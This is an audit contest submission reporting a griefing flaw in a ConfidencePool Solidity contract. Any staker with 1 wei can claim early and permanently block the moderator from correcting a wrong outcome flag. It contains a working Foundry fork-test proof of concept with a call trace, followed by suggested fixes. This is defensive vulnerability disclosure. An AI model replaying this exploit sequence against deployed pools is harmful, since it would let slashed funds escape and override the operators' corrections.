FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Dust-Claim Griefing: Any Staker Can Permanently Lock the Moderator's Re-Flag Window

Author Revealed upon completion

****

Dust-Claim Griefing: Any Staker Can Permanently Lock the Moderator's Re-Flag Window

**Severity: Medium **

Severity argument. The prerequisite is a moderator making a wrong flagOutcome call — an off-chain operator error, not an on-chain exploit alone. However, once that error is made, any single staker holding even 1 wei of principal can make the mistake irreversible at zero cost (only the gas for claimSurvived). The impact is not abstract: it causes every remaining staker's funds to resolve under the wrong outcome with no on-chain recovery path. In the quantified scenario below, 1,000,000 ether that should have been slashed to recoveryAddress instead returned to the staker. The argument for Medium (and not Low) is that:

  1. The cost to trigger it is 1 wei + gas — accessible to any participant.

  2. The outcome is permanent — no admin can override once claimsStarted = true.

  3. The blast radius scales with pool TVL — not a dust-limited impact.

High would require the moderator error to be induced on-chain (e.g., a front-run forcing the wrong state). That is not the case here.


Root Cause

File: src/ConfidencePool.sol

The re-flag window guard (L327)

// ConfidencePool.sol L327
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();

The condition is outcome != UNRESOLVED AND claimsStarted. This is a compound guard: both must be true for the revert to fire. The intent is to allow the moderator to correct a wrong flag until the first claim locks in distribution. This is correct design.

The latch (L575-578 in claimSurvived)

// ConfidencePool.sol — claimSurvived()
if (!claimsStarted) {
claimsStarted = true;
}

claimsStarted is set to true on the very first call to claimSurvived() (or claimCorrupted() or claimAttackerBounty()), regardless of the caller's stake size. There is no minimum-stake gate on the claim entrypoints beyond minStake at deposit time — and minStake defaults to 1 per the factory (and is set to 1 in the PoC as allowed by the interface).

The sequence that weaponizes these two facts

moderator calls flagOutcome(SURVIVED) ← sets outcome = SURVIVED
attacker calls claimSurvived() ← sets claimsStarted = true, withdraws 1 wei
moderator calls flagOutcome(CORRUPTED) ← reverts OutcomeAlreadySet

After step 3, outcome == SURVIVED and claimsStarted == true are both permanently set. The OutcomeAlreadySet guard will fire on every future flagOutcome call. No owner, pause, or upgrade path can undo this — UUPS upgrade would change the implementation but the proxy storage (outcome, claimsStarted) persists.


Impact

All remaining stakers are forced to claim via claimSurvived() regardless of the real-world outcome. In a CORRUPTED scenario, correct resolution would sweep all staked funds to recoveryAddress. The attacker's 1-wei claim causes the full TVL to be distributed back to stakers instead.

Quantified (from fork test):

  • Pool TVL: 1,000,000 ether (whale) + 1 wei (attacker)

  • recovery balance after attack: 0

  • Whale balance after forced claimSurvived(): 1,000,000 ether (received back, should have been slashed)

  • Attacker cost: 1 wei stake + gas for claimSurvived()

  • Attacker gain: prevented their own stake from being swept, at the price of 1-wei principal withdrawal


Proof of Concept

Fork test (passing, Suite result: ok. 1 passed; 0 failed; 0 skipped):

BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com \
forge test --match-path test/fork/DustClaimGriefing.t.sol \
--rpc-url battlechain_testnet -vvvv

Test file: [test/fork/DustClaimGriefing.t.sol](file:///home/alucard/cantina/Cyfrin/2026-07-bc-confidence-pools/test/fork/DustClaimGriefing.t.sol)

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract DustClaimGriefingTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant DEMO_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant DEMO_AGREEMENT_OWNER = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
address internal constant DEMO_AGREEMENT_IN_SCOPE = 0xeEFCFBeFCE9a8fbB20694483DA9E6fBbcD5084A7;
ConfidencePoolFactory internal factory;
ConfidencePool internal pool;
MockERC20 internal stakeToken;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal attacker = makeAddr("attacker");
address internal whale = makeAddr("whale");
function setUp() public {
try vm.envString("BATTLECHAIN_TESTNET_RPC") returns (string memory rpc) {
vm.createSelectFork(rpc, 16000); // DEMO_AGREEMENT is UNDER_ATTACK here
} catch {
vm.skip(true);
return;
}
ConfidencePool poolImpl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImpl),
abi.encodeCall(ConfidencePoolFactory.initialize,
(SAFE_HARBOR_REGISTRY, address(poolImpl), moderator))
);
factory = ConfidencePoolFactory(address(proxy));
stakeToken = new MockERC20();
factory.setStakeTokenAllowed(address(stakeToken), true);
address[] memory accounts = new address[](1);
accounts[0] = DEMO_AGREEMENT_IN_SCOPE;
vm.prank(DEMO_AGREEMENT_OWNER);
address poolAddr = factory.createPool(
DEMO_AGREEMENT, address(stakeToken),
block.timestamp + 31 days,
/*minStake=*/1,
recovery, accounts
);
pool = ConfidencePool(poolAddr);
stakeToken.mint(attacker, 1);
stakeToken.mint(whale, 1_000_000 ether);
}
function testDustClaimGriefing() external {
// 1. Whale and attacker both stake
vm.startPrank(whale);
stakeToken.approve(address(pool), 1_000_000 ether);
pool.stake(1_000_000 ether);
vm.stopPrank();
vm.startPrank(attacker);
stakeToken.approve(address(pool), 1);
pool.stake(1); // 1 wei
vm.stopPrank();
// 2. Real registry transitions: UNDER_ATTACK → CORRUPTED
vm.prank(DEMO_AGREEMENT_OWNER);
IAttackRegistry(ATTACK_REGISTRY).markCorrupted(DEMO_AGREEMENT);
assertEq(
uint256(IAttackRegistry(ATTACK_REGISTRY).getAgreementState(DEMO_AGREEMENT)),
uint256(IAttackRegistry.ContractState.CORRUPTED)
);
// 3. Moderator makes a mistake: flags SURVIVED instead of CORRUPTED
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// 4. Attacker immediately claims 1 wei — sets claimsStarted = true
vm.prank(attacker);
pool.claimSurvived();
// 5. Moderator tries to correct — permanently blocked
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
// 6. Blast-radius proof: whale gets funds back instead of being slashed
vm.prank(whale);
pool.claimSurvived();
assertEq(stakeToken.balanceOf(recovery), 0,
"Recovery address received nothing — 1,000,000 ether slashing evaded");
assertEq(stakeToken.balanceOf(whale), 1_000_000 ether,
"Whale received stake back; should have been swept to recovery");
}
}

Abridged call trace (key steps)

[markCorrupted]
├─ 0xdD029a...::markCorrupted(DEMO_AGREEMENT)
│ └─ emit AgreementStateChanged(DEMO_AGREEMENT, 6) // 6 == CORRUPTED ✓
[flagOutcome(SURVIVED)]
├─ ConfidencePool::flagOutcome(1, false, 0x0)
│ ├─ getAgreementState → 6 (CORRUPTED) // SURVIVED allowed per L338
│ ├─ emit OutcomeFlagged(moderator, SURVIVED, ...)
│ └─ ← [Stop]
[claimSurvived — attacker, 1 wei]
├─ ConfidencePool::claimSurvived()
│ ├─ MockERC20::transfer(attacker, 1)
│ ├─ emit ClaimSurvived(attacker, principal=1, bonusShare=0)
│ └─ ← [Stop] // claimsStarted = true is now set
[flagOutcome(CORRUPTED) — moderator correction attempt]
├─ ConfidencePool::flagOutcome(2, false, 0x0)
│ └─ ← [Revert] OutcomeAlreadySet() ✓ asserted by vm.expectRevert
[claimSurvived — whale, 1,000,000 ether]
├─ ConfidencePool::claimSurvived()
│ ├─ MockERC20::transfer(whale, 1_000_000e18)
│ └─ ← [Stop]
[assertions]
├─ balanceOf(recovery) == 0
└─ balanceOf(whale) == 1_000_000e18
Suite result: ok. 1 passed; 0 failed; 0 skipped
Gas: 449,543

Recommended Fix

The core problem is that claimsStarted is a boolean latch with no stake-size requirement. Two approaches, in order of invasiveness:

Option A — Minimum-TVL threshold before latch fires (preferred)

Add a claimThreshold parameter (e.g., minStake * N or a fixed protocol constant). Only set claimsStarted = true once accumulated claim volume crosses the threshold:

// Only commit the latch after meaningful economic activity
if (!claimsStarted && _claimedPrincipalSoFar() >= claimThreshold) {
claimsStarted = true;
}

This does not change the DESIGN.md intent (finality latch) — it just prevents a 1-wei position from triggering it.

Option B — Moderator-only re-flag window with explicit close (simpler)

Add an explicit closeReflagWindow() that only the moderator can call, replacing the implicit claimsStarted latch. The window closes either when the moderator closes it or when the first "significant" claim executes.

Option C — Time-lock on re-flag (minimal change)

Allow flagOutcome to override a previous flag for a short fixed window (e.g., 1 hour) after the first flag, regardless of claimsStarted. Claims in that window are still paid; if the outcome flips they use the corrected outcome.

Note for the protocol: DESIGN.md explicitly documents the re-flag window and states it is closed by the first claim. Any fix must be reconciled with that documented intent. Option A is the most consistent with the documented design — it preserves the latch semantics while raising the griefing cost from 1 wei to a meaningful economic amount.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!